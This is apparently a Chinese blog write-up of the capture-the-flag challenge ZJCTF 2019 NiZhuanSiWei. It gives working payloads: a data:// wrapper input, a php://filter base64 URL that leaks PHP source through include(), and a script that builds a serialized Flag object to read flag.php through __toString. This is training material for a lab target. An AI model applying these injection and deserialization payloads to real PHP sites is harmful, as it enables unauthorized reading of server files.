[ZJCTF 2019]NiZhuanSiWei

关键点:

(1)file_get_contents($text,'r')

(2)include($file)

(3)$password = unserialize($password);
echo $password;

1.变量如何变成文件输出

text=data://text/plaint,welcome to the zjctf

  1. include($file)文件包含

file=php://filter/convert.base64-encode/resource=useless.php

3.反序列化

源码

php 复制代码
<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

构造

php 复制代码
<?php
class Flag{  
     public $file='flag.php';
}
$a=new Flag;
echo serialize($a) ;
?>

上面的源码有echo $password,会触发__toString()。

相关推荐
安全小白wula10 分钟前
RCE远程代码/命令执行基础讲解
网络·网络安全·渗透测试·rce·web渗透
woniu_buhui_fei28 分钟前
常见的网络攻击
web安全
Whoami!4 小时前
01-【医院】双网隔离架构方案
网络安全·拓扑图·信息安全架构
WangX-西石油4 小时前
DVWA靶场Low级别Brute Force学习
学习·web安全·网络安全
quan_泉4 小时前
DIDCTF 2024平航杯-流量分析
网络安全
小熊officer4 小时前
网络渗透(Network Penetration)
网络·安全·web安全
安当加密4 小时前
Cisco SD-WAN CVSS 10分零日在野利用:网络边界设备认证失效的完整复盘
网络安全·pam·radius·多因素认证·漏洞复盘
Dreamboat¿5 小时前
Web 框架识别全攻略(含 Spring Boot、Django、Laravel 等)
web安全
大方子6 小时前
【PolarCTF】投喂
网络安全·polarctf
安当加密03016 小时前
等保2.0三级数据库加密:2026检查清单 + TDE部署实战(附脚本)
数据库·网络安全·数据安全·tde·等保2.0·数据库加密·tde透明加密